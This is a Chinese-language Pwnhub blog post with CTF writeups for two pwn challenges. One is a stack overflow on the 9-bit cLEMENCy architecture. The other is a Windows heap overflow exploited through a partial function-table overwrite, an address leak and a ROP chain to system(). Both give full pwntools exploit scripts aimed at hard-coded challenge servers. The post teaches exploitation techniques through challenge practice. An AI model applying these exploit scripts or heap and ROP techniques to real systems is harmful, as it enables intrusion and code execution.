pwn

祥和的番外Writeup(Pwn篇)

Posted by Pwnhub on 2017-08-14

接上一篇,我们继续,讲道理,周六的大暴雨,充分检验了各位胖友对 Pwnhub 的爱,看着冒雨前来的各位大佬,胖哥感动到老泪纵横。

继续分享两道 Pwn 题的 Writeup ,当然点开这篇你也依然可以翻阅 Slide ——就是这么贴心!


Slide

来自 Tea deliverers 战队的 Atum 胖友的分享:

《Intro to Windows Exploit Techniques for Linux PWNers》

来自 360 0keeTeam 的妹子 Friday 的分享:

《动态分析在安全检测中的应用》

来自 Blue-Whale 的 flyyy 胖友的分享:

《Virtualizing Security》


Writeup

Pwn

《见面 Pwn!Pwn!Pwn!》

这篇 Writeup 来自现场提交 Flag 的 @sy3b01 胖友。

8月12日Pwnhub第一次沙龙,心想到要和一众大佬面基,心情异常激动,于是攥着讨来的邀请函,冒着12级大雨,满心欢喜的赶到了五环的小别墅~

上午的议题干货满满,有冠城大佬,360小姐姐和青博学弟flyyy的分享,中午的烧烤 + 德州扑克之后便是Pwnhub的经典项目CTF,其中Explorer大佬出了一道cLEMENCy架构的题目。

提到cLEMENCy就不得不提到刚过去的Defcon 25 Final。与去年的CGC不同,Defcon Final今年的规则是,主办方与比赛前一天24小时放出自定义架构,以及相应的emulator,留给参赛者24小时的准备时间。这样一来,所有的参赛队都站在了同一起跑线上,需要从0准备所有的工具。

0x01 简介:9bit的奇怪架构

cLEMENCy(the LEgitbs Middle ENdian Computer architecture)由LBS的lighting等大佬们设计。cLEMENCy的指令手册中给出了架构的所有细节。简单的总结如下:

  1. 每字节由9bit组成;使用混合序存储,Register XXYYZZ → Memory YYXXZZ,Register XXYY → Memory YYXX

    “Each byte is 9 bits of data, bit 0 is the left most significant bit. Middle-Endian data stores bits 9 to 17, followed by bits 0 to 8, then bits 18 to 27 in memory when handling three bytes. Two bytes of data will have bits 9-17 then bits 0 to 8 written to memory.”

  2. 内存布局:如下图所示。漏洞利用的目标即把Flag页面开始的一段内存,即flag打印出来。所以说只需要任意地址读就可以了。

  1. 指令集:cLEMENCy类似于RISC,最长54bit,指令集和arm有点类似;

  2. 寄存器:共31个寄存器,R0一般用于param 1ret valueST表示栈,RA表示返回地址。

  3. 栈调用:栈有两个增长方向;对栈的操作往往通过STT(Store Tri)指令实现。STTm指令有三种,其中0,1,2分别表示内容存入memory之后rB操作数是增加还是减少,从而表示栈的增长方向。

除此之外,比赛中使用的bianry使用了neatlibc,但为了方便模拟器对io和内存管理进行了一些修改。

0x02 漏洞利用:Ret2Put

既然是2个小时的CTF,大佬们出题肯定是放足了水233。用IDA大概分析一下,可以发现这是一个简单的伪"Base64"

这里用的是Tea Deliverers在比赛时使用的IDA Processor(膜LYM和Explorer和GYC等大佬)。PPP在赛后也放出了他们比赛时使用的Utils

其中主要的函数read_string:输入一个9bit表示的字符串(交互也全部都是基于9bit),之后会以三字节为单位,转成以三字节为单位的值。如

1
'AAA\n' -> 0010101

在调用这个函数时,传入的len过长,于是可以溢出上一个函数的返回地址,因此我们可以直接Ret2put,即修改返回地址和参数为Put函数和flag page的地址,即可打印出flag。

观察main_func返回处,LDT R28-RA, [R28 + 0]将R28, ST, RA三个寄存器赋值,是可控的,而puts的参数R0也通过ad. R0, R28, R27控制。

于是构造对应值即可。

还有一点是,ST要填上一个合法值,否则puts时会crash。但是程序是没有随机化的,所以每次运行都一样。这也导致了比赛时”抄作业(直接重放)”异常方便233

最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import string
def p27(bit24):
r = bin(bit24)[2:].rjust(27, '0')
r = r[9:18] + r[0:9] + r[18:27]
return r
def sb8tosb9(payload):
stream = ''.join(bin(ord(x))[2:].rjust(9, '0') for x in payload)
pad = len(stream) % 8
if pad != 0:
length = len(stream) + (8 - pad)
else:
length = len(stream)
stream = stream.ljust(length, '0')
payload9 = ''.join(
chr(int(stream[i:i + 8], 2)) for i in range(0, len(stream), 8))
return payload9
def sb9tosb8(payload):
stream = ''.join(bin(ord(x))[2:].rjust(8, '0') for x in payload)
length = (len(stream) / 9) * 9
stream = stream[:length]
return ''.join(
chr(int(stream[i:i + 9], 2)) for i in range(0, len(stream), 9))
alphabet = ''
for i in range(26):
alphabet += (chr(i + ord('A')))
for i in range(26):
alphabet += (chr(i + ord('a')))
for i in range(10):
alphabet += (chr(i + ord('0')))
alphabet += '+/'
def conventer(bit18):
res = ''
res += alphabet[int("0b" + bit18[:6],2)]
res += alphabet[int("0b" + bit18[6:12],2)]
res += alphabet[int("0b" + bit18[-6:],2)]
return res
p = remote("54.223.103.62",10000)
flag_addr = 0x4010000 + 0x21
pc_addr = 0x645F
newpld = 11 * p27(0x414141) + p27(flag_addr) + p27(0x3fffbc7) + p27(pc_addr)
payload = ''
for i in range(len(newpld) / 18):
payload += conventer(newpld[i*18:(i+1)*18])
p.send(sb8tosb9(payload + '\n'))
p.recvn(0x2d)
data = sb9tosb8(p.recvall(timeout = 1))
print data


《实在想不到名字》

原谅我起了一个这么不走心的题目名字,对于起名困难症的我,这么耿直,你还是应该夸一下我的。
这篇 Writeup 来自 @spine 胖友,当然了,这道题还出现了另一种解法,来自 @nonick ,感兴趣的胖友可以点击这里,带你穿越看不同思路。

很简单的程序,然而 pwn 起来很难受。

程序有3个功能:

  • create string/bytes
  • show
  • update

用来管理的结构体

1
2
3
4
5
00000000 struc_1 struc ; (sizeof=0x14, mappedto_36)
00000000 functable dq ?
00000008 buffer dq ?
00000010 size dd ?
00000014 struc_1 ends

存在 2 个 bug ,第一个是未初始化malloc后的内存导致可以 leak 一个堆地址.当然在这题中并没有卵用。

第二个是在update bytes里面:

很明显,在报错后并没有返回,导致可以随意的堆溢出。

如果是linux这题以及没有悬念了,但这题是windows,第一次做windows的pwn,碰到了不少坑…

leak :

昨天现场只能看到上面的 bug ,事实上,如果是在 linux 下,那么第一个 bug 就能泄漏libc地址,接下来就好搞多了。但在 windows 下,第一个 bug 并没有卵用,因为根本泄漏不出来可执行段的位置。于是只能用第二个 bug ,Atum 大佬昨晚放了一个 hint ,然后就又开始搞。

  • 2017.08.12 23:04:39leak by paritial overwrite

partial overflow怎么回事呢?

利用的就是stringbytes的两个function table的不同

这是 3 个不同类型的function table

注意到它们的地址是相邻的,就可以通过覆盖结构体的function table的最低字节来改到不同的function table,比如这里利用的show bytes-> show string的变换

可以发现show string只是简单的 puts 了buffer,那么在bytes末尾没有0的情况下就能 puts 出bytes后面的东西。而bytesbuffer在堆上,管理块也在堆上,于是很自然的一个思路就是部分覆盖管理结构体的function_table,这样就能把function table leak 出来

尝试

但这又有个很麻烦的问题,就是我们怎么知道我们刚好覆盖到了那个结构体,windows 的内存管理错综复杂,还伴有随机性,这里我们可以尝试:

利用 update 慢慢增加溢出的长度,直到我们认为已经覆盖到了。在程序上就是每次增加8字节的长度去检测,直到泄露出function table的地址,这时候我们有了binary的地址,然后windows10 的随机化如下,我开了两次,然后用windbg查看的内存分布,地址并没有变,至少在这种情况下可以认定,在没有开关机的情况下,图中的dllexe地址都不会变


然后还有个问题,那就是我们怎么能保证我们分配的bytes地址在管理块之前?

这个问题估计得仔细了解过 windows 堆管理后才能回答,不幸,我没有仔细了解过233,但实测如果长度是在`0x18左右的,那么bytes肯定会在管理块后面,且相对地址差固定。似乎是因为对LFH分配来讲,在比较少次数分配的情况下,相同区间的堆块地址是线性增长的。

不管这些,实测bytes长度在0x40左右的时候,就能分配到管理块前面了。而且这个距离比较固定,但还是得用尝试的手段,不然成功率太低

hook

我们有了binary地址,就能直接覆盖掉管理块了,因为里面的东西都是已知的,我们可以把它的function table替换掉,我这里并没有直接这么干,因为0x40大小的 size 得把它改的大点,为了兼顾成功率,在尝试的阶段我每次只加16字节,试图把buffer改到data段上覆盖掉管理块在data段的指针,通过观察buffer有没有变化,如果变了,再通过改指针把整个管理块替换掉,这样感觉比暴力覆盖要优雅。

于是我们有可控的函数指针,可控的buffer,可控的 size ,我们能把所有dll的地址都 leak 出来(虽然用不上),还能控制rip到任意位置。我这里选用的是add rspxxx;ret这样的gadget,因为我们在栈上有一个可控的块(如下图),这样之后就能rop了。这个xxx需要多少呢:

1
2
3
call: sp-=8
str: sp-0x48
init: sp-=0x70

xxx0x70+0x8-0x48=0x30的时候正好能到str处,但我们得一次操作完成(注意到下面str每次命令都会初始化一次,于是加在选择后面 '2'+'\x00'*7+rop_chain。这样的话我们的xxx需要0x38, 也就是说,在add rsp,0x38;retgadget,这样我们就能在ret的时候控制到rop。而且这个rop_chain的长度可以达到(0x32-0x8)/8 = 5,这也就是我们所说的抬栈了。


rop

ropgadget随便找些rop,但这里有些坑

  1. 不知道为什么我的ropgadget出来的地址和ida不一样。
  2. 找些binary的传参与 Linux 上的传参不同,用的rcx作为第一个参数。
  3. systemucrtbase.dll里,第一个参数当然也得是rcx,而且在前面覆盖堆上的东西的时候得都覆盖成\x00,不然system会炸,原因估计是内部有一些reallocmallocfree等。(最后坑在这里半天

于是在ucrtbase.dll里找到一个

直接跳到system,只需要3*8 < 5*8的长度
完整 poc 如下,成功率大概在 20%-30% ,可以看到我之前被0坑的多惨,换了不知道多少gadget,一直以为rop出问题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level='debug'
R = remote('52.80.87.194',2333)
R.recvuntil('Option:')
def create(length):
R.sendline('1')
R.recvuntil('Option:')
R.sendline('2')
R.recvuntil('size:')
R.sendline(str(length))
R.recvuntil('Option:')
def update(length,s):
R.sendline('3')
R.recvuntil('len:')
R.sendline(str(length))
R.recvuntil('array:')
R.sendline(s)
R.recvuntil('Option:')
def show(length):
R.sendline('2')
R.recvuntil('\r\n')
data = R.recv()
if 'len:' not in data:
print data.encode('hex')
return True
R.sendline(str(length))
R.recvuntil('\r\n')
data = R.recvuntil('done')[:-4]
R.recvuntil('Option:')
return data
base=0x7ff794fe0000
exit_b = base+0x3138
exit_crt=0x180006860
exit_addr=0x7ffb7b2c6860
puts=base+0x1280
crt_base = exit_addr-exit_crt
ret=crt_base+0x18007ee73
pop_rdi=base+0x17e1
pop_rbx=base+0x1627
mem = base+0x5728
puts_crt=crt_base+0x18007EB10
set_rcx= base+0x11b0
xor_rax = base+0x1090
memset=0x7ffb731dc840
vcr_base = memset-0xC840
vcr_call = vcr_base+0x4fc5
pop_rbp=base+0x506A
pop_rsp = crt_base+0x18002409C
cmd=crt_base+0x1800C8950
pop_rcx=crt_base+0x1800269F6
system_addr = 0x1800A4B8C+crt_base
create(0x1000)
addr = show(20)[10:16][::-1].encode('hex')
addr = int(addr,16)
create(64)
for i in range(0x100):
print i
update(0x1f00+16*i,'a'*8+'\x00'*(0x100-8)+'\x00'*(0x1e00+16*i-16)+p64(base+0x33e0)+p64(mem))
if 'aa' not in show(2):
break
heap_addr = int(show(6)[::-1].encode('hex'),16)
print 'heap:%x'%heap_addr
print 'system:%x'%system_addr
update(0x30,p64(mem+0x8)+p64(mem+0x20)+p64(mem)+p64(0x1000)+p64(base+0x10a0)+p64(base+0x1120))
update(0x18,p64(mem+0x10)+p64(ret)+p64(mem+0x8))
R.sendline('2'+'\x00'*7+p64(pop_rcx)+p64(cmd)+p64(system_addr))
R.interactive()